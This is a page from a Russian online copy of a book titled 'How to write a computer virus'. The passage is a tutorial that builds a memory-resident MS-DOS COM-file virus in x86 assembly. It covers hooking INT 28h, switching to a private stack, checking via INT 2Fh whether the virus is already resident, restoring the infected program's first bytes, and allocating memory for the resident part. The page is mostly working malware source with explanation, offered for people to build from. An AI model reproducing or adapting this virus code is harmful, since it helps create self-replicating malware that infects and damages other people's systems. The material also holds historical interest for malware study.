Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 2 3 4 5  6 7 8 9 10 11 12 13 14 ... 27
    нду  в резидентном режиме,  т. е. когда код вируса
    получил управление, находясь в памяти,это приведет
    к зависанию компьютера .Чтобы такого не происходи-
    ло,  секция инициализации при установке  вирусного
    кода  в память записывает сразу за  меткой " vir "
    две  команды " NOP ",  или код : 9090h .
    Все приведенные далее команды относятся к резиден-
    тной части .После записи флагов в стек вирус  про-
    веряет состояние переменной " tg_infect ", и  если
    она равна " 1 ", переходит к метке " vir_2 " .Если
    же " tg_infect " равна " 0 ",то вирус просто вызы-
    вает старый обработчик INT 28h и отдает управление
    прерванному процессу.Чуть позже мы рассмотрим, как
    формируется значение переменной " tg_infect "  .
    Поскольку приводимый обработчик  активно  работает
    со стеком,есть смысл предусмотреть в нем собствен-
    ный стек . Поэтому сразу за меткой " vir_2 " запи-
    шем команды, переключающие стек на специальную об-
    ласть данных вируса " newstack "  :

                                      ;Переключаем
                                      ;стек для TSR -
                                      ;исполнения на
               mov cs:ss_save-110h,ss ;себя ...
               mov cs:sp_save-110h,sp
               mov cs:help_word - 110h,cs
               mov ss,cs:help_word - 110h
               mov sp,to_newstack + 136
               mov cs:tg_infect - 110h,0

    Последней запишем команду,  сбрасывающую  " tg_in-
    fect " в ноль .Этим мы защитим вирусный код от по-
    вторного вхождения .
    Теперь необходимо вызвать  старый  обработчик  INT
    28h, иначе наш вирус будет " топить " другие рези-
    дентные программы, которые  перехватывают  это  же
    прерывание .Поэтому запишем :

               pushf                  ;Вызываем старый
               db 9ah                 ;обработчик
    old_28h    dw 0                   ;INT 28h ...
    old_28h_2  dw 0

    Обработчик здесь вызывается как дальняя процедура.
    Команда " CALL " записана в виде  машинного кода,
    а поля " old_28h " и " old_28h_2 " заполняются се-
    кцией инициализации при установке вируса в память.

    *
     Обратите внимание на команды переключения стека .
     Они необычны тем,что от адреса ячеек памяти " ss_
     save "," sp_save ", " tg_infect " и " help_word "
     отнимается число 110h . Дело в том, что при  ком-
     пиляции исходного текста  COM - программы  адреса
     ячеек памяти вычисляются исходя из того,  что  DS
     указывает на начало ее PSP .Кроме  того,  в самом
     начале вируса мы записали директиву " org 110h ".
     Но ведь к вышеуказанным ячейкам памяти вирус  об-
     ращается в резидентном режиме, да еще и относите-
     льно CS .А CS указывает строго на начало обработ-
     чика, а не на начало PSP, как это было при компи-
     ляции ! Поэтому относительный адрес ячеек необхо-
     димо уменьшить на 110h,  что мы и  сделали . Этот
     прием будет использован еще несколько раз при по-
     строении вирусных обработчиков прерываний,поэтому
     полезно будет понять, на чем он основан .


             2.6 Сохраняем регистры процессора

    В самом начале работы резидентная программа обяза-
    на сохранить значения регистров процессора,  кото-
    рые были переданы ей прерванной программой,  а при
    завершении работы - восстановить эти значения .Ес-
    ли этого не сделать,прерванная программа просто не
    сможет нормально выполняться дальше,что приведет к
    сбою вычислительного процесса . Поэтому сейчас  мы
    сохраним все регистры, используемые вирусом,в сте-
    ке :

               pushf                  ;Сохраним в сте-
               push ax                ;ке регистры ...
               push bx
               push cx
               push dx
               push si
               push di
               push bp
               push ds
               push es
               jmp cs:infect          ;Перейти к зара-
                                      ;жению файлов

    Заметим, что значения регистров записываются уже в
    область " newstack ", а не в стек прерванной прог-
    раммы .Значения SS и SP сохраняются в переменных :
    " ss_save " и " sp_save ", и поэтому в стек не за-
    носятся .Команда " jmp cs:infect " также относится
    к резидентной секции и передает управление "зараз-
    ной" части вирусного кода .


             2.7 Создаем секцию инициализации

    А теперь пора заняться изготовлением секции иници-
    ализации нашей программы .Поскольку эта секция ис-
    полняется при запуске зараженного файла,  выполним
    коррекцию регистра DS ( см. гл. 1,  1.6 ) :

               push_len equ $-vir - 2

               mov ax,ds              ;Корректируем DS
                                      ;для нерезидент-
                                      ;ной работы ...
               db 05h                 ;Код команды
    add_to_ds: dw 0                   ;" ADD AX,00h "
	       mov ds,ax

    Константа " push_len " содержит смещение от начала
    вируса до начала секции инициализации . Именно это
    число записывается за меткой " vir " (см. п. 2.5).
    Далее следует проверить  наличие вируса  в  памяти
    (см. п. 2.3), поэтому :

               mov ax,0f000h          ;Проверим, есть
               mov bx,1997h           ;вирус в памяти,
               int 2fh                ;или еще нет ...
               jc fresh_bytes

       	       cmp al,0ffh
      	       jne free_mem           ;Нет -
                                      ;устанавливаем

    Для  проверки используется так называемое  мульти-
    плексное прерывание MS DOS, специально  предназна-
    ченное для использования в резидентных программах.
    В регистрах AX и BX  мы поместим код,  на  который
    реагирует вирусный обработчик этого прерывания,  и
    выполним команду " INT 2Fh " .Если вирус был уста-
    новлен в памяти,его обработчик проанализирует зна-
    чения AX и BX .И если они равны " 0f000h " и " 19-
    97h ", вернет в AL число 0ffh, которое и рассчиты-
    вает получить секция инициализации .
    Если вирусный  код уже  инсталлирован, необходимо:
    восстановить в памяти компьютера исходные три бай-
    та зараженной программы  (см. п. 2.3) :

    fresh_bytes:                      ;Восстанавливаем
	       mov al,old_bytes       ;первые три бай-
                                      ;та зараженной
	       mov cs:[100h],al       ;программы ...
	       mov al,old_bytes+1
	       mov cs:[101h],al
	       mov al,old_bytes+2
	       mov cs:[102h],al

    Восстановить значения сегментных регистров:

               mov ax,cs              ;Восстанавливаем
                                      ;сегментные
               mov es,ax              ;регистры ...
               mov start_cs,ax
               mov ds,ax

    И выполнить переход на начало этой программы :

               jmp cl_conv_1          ;Передаем управ-
    cl_conv_1: db 0eah                ;ление заражен-
               dw 100h                ;ной программе
    start_cs   dw 0

    Здесь  команда  " jmp cl_conv_1 " очищает  очередь
    процессора ( см. гл. 1, п. 1.7 ) . Без нее наш ви-
    рус на некоторых процессорах работал бы  некоррек-
    тно .
    Если же вируса в  памяти еще нет, нужно установить
    его в память .Эту работу выполняют команды,  запи-
    санные за меткой " free_mem " .


               2.8 Запрашиваем блок памяти

    Как вы уже знаете,резидентная программа должна на-
    ходиться в памяти в течение сеанса работы  компью-
    тера.Поэтому секция инициализации  должна  "попро-
    сить" MS DOS выделить для загрузки резидентной ча-
    сти соответствующий блок памяти .
    Существует целый ряд методов, позволяющих получить
    в распоряжение TSR - программы область памяти дос-
    таточного размера .Например, в обычных резидентных
    программах эту функцию выполняет MS DOS в процессе
    резидентного завершения .При этом область памяти,
    выделенная TSR - программе при ее запуске,  просто
    усекается до размера резидентной части и  остается
    занятой после завершения программы .Таким образом,
    резидентная  часть размещается  в том месте,  куда
    некогда была загружена вся программа.
    К сожалению, использование такого метода в  вирусе
    порождает  целый  ряд  проблем . Например  в  этом
    случае необходимо записывать вирусный код в  нача-
    ло, а не в конец файла - жертвы, иначе при запуске
    зараженной программы она будет " садиться " в  па-
    мять целиком .Есть и другие трудности,  преодолеть
    которые очень непросто.Не случайно такой прием при
    написании вирусов применяется редко .
    Другой способ состоит в использовании  для  поиска
    подходящего блока памяти так называемых MCB - бло-
    ков ( потом мы поговорим  о них подробнее )  . При
    этом вирус должен путем  сканирования цепочки бло-
    ков управления  памятью  ( Memory Control Blocks )
    найти свободный блок подходящего  размера,  разде-
    лить его на две части, одна из которых точно соот-
    ветствует или  несколько превышает длину вируса, и
    записать во вновь созданный блок свой код.Основной
    недостаток данного метода состоит в том  что MCB -
    блоки являются недокументированной  структурой  MS
    DOS,  и при их  использовании нужно быть готовым к
    тому,что программа будет работать на одной  машине
    и не будет работать на другой. Это также относится
    к разным версиям операционной системы .Кроме того,
    очень сложно построить эффективный алгоритм реали-
    зации этого метода . Ведь вирусный код должен  за-
    писываться  не просто  в  подходящий  по  размерам
    блок,  а в старшие адреса оперативной памяти, ина-
    че загрузка больших программ будет просто невозмо-
    жна .
    Третий  способ  заключается в том, что  код вируса
    копируется в заданную область памяти без коррекции
    MCB - блоков. Недостаток  его состоит в следующем:
    "время жизни" вируса,реализующего такой  алгоритм,
    чрезвычайно  мало и зависит  от интенсивности  ис-
    пользования  оперативной  памяти . Причем "гибель"
    вирусной программы с почти стопроцентной вероятно-
    стью приводит  к повисанию компьютера. Хотя  метод
    отличается простотой реализации и имеет ряд других
    достоинств, приведенный выше недостаток делает его
    практическое  использование маловозможным .
    Четвертый способ состоит в использовании функций,
    реализующих управление памятью.Используя его,можно
    построить эффективный и корректно работающий  про-
    граммный код,  который будет  хорошо  работать  на
    разных  машинах  и с любыми версиями  операционной
    системы .При этом его реализация весьма  проста  и
    понятна . Поэтому мы применим именно этот способ :

    free_mem:  mov ah,4ah             ;Определим объем
                                      ;доступной памя-
                                      ;ти ...
               mov bx,0ffffh          ;Заведомо невоз-
               int 21h                ;можное значение
                                      ;(0ffffh) !
                                      ;Ошибка будет
                                      ;обязательно, и
                                      ;проверять ее
                                      ;наличие
                                      ;не нужно !
    ; _______________________________________________
    ;| Закажем свободный блок памяти,чтобы можно было|
    ;| записать в него резидентную часть вируса ...  |
    ;|_______________________________________________|

               sub bx,vir_par + 2     ;Оставим вирусу
                                      ;на 2 параграфа
                                      ;больше, чем
                                      ;он сам занимает
               mov ah,4ah	      ;А остальная па-
Предыдущая страница Следующая страница
1 2 3 4 5  6 7 8 9 10 11 12 13 14 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама